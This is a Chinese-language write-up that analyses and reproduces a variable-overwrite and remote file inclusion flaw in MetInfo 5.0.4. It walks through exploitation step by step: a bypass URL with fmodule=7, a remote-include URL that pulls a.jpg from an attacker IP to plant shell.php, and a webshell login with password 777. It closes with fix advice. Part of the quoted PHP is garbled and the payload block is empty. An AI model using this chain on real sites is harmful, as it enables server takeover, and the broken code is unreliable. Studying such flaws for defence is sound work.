MetInfo 5.0.4 文件包含漏洞分析与复现指南
漏洞概述
MetInfo企业网站管理系统5.0.4版本存在高危的文件包含漏洞,攻击者可以利用该漏洞实现远程代码执行,进而控制目标系统。
漏洞影响
- 影响版本:MetInfo 5.0.4
- 漏洞等级:高危
- 漏洞类型:文件包含导致远程代码执行
环境准备
-
测试环境:
- VMware虚拟机环境
- phpStudy集成环境
-
工具准备:
- MetInfo_5.0.4源码
- Seay源码审计系统
- 蚁剑(中国菜刀)或其他WebShell管理工具
漏洞分析
漏洞位置
漏洞主要存在于以下文件中:
/about/index.php/include/module.php/include/common.inc.php
代码审计分析
- 变量覆盖漏洞:
在common.inc.php中存在以下关键代码:foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach(
\[_request as $_key => $_value) { $_key{0}key = daddslashes($_value); } } ``` 这段代码将GPC(GET/POST/COOKIE)传过来的参数和值注册为变量,存在变量覆盖漏洞。 2. **文件包含逻辑**: 在`/about/index.php`中: ```php $filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; require_once $module; ``` 在`/include/module.php`中: ```php if($fmodule!=7){ // 验证逻辑 } ``` 当`fmodule`不等于7时,系统会对`$module`进行验证;等于7时则绕过验证。 ## 漏洞复现步骤 ### 1. 验证变量覆盖 访问URL: ``` http://目标IP/MetInfo5.0.4/about/index.php?fmodule=7&module=777777 ``` 如果页面输出了"777777",则证明变量覆盖成功。 ### 2. 准备图片木马 创建一个包含PHP代码的图片文件(如a.jpg),内容为: ```php ``` ### 3. 远程文件包含 访问URL: ``` http://目标IP/MetInfo5.0.4/about/index.php?fmodule=7&module=http://攻击者IP/a.jpg ``` 这将执行图片中的PHP代码,在当前目录下创建`shell.php`WebShell。 ### 4. 连接WebShell 使用蚁剑或其他工具连接生成的WebShell: ``` http://目标IP/MetInfo5.0.4/about/shell.php ``` 密码为`777`。 ## 修复建议 1. 升级到最新版本的MetInfo系统 2. 临时修复方案: - 修改`common.inc.php`中的变量注册逻辑,避免变量覆盖 - 在文件包含前对参数进行严格过滤 - 禁用远程文件包含功能 ## 总结 该漏洞利用链如下: 1. 通过变量覆盖控制`fmodule`和`module`参数 2. 设置`fmodule=7`绕过验证 3. 通过`module`参数实现远程文件包含 4. 执行恶意代码获取服务器权限 此漏洞危害性高,建议所有使用受影响版本的用户立即采取修复措施。\]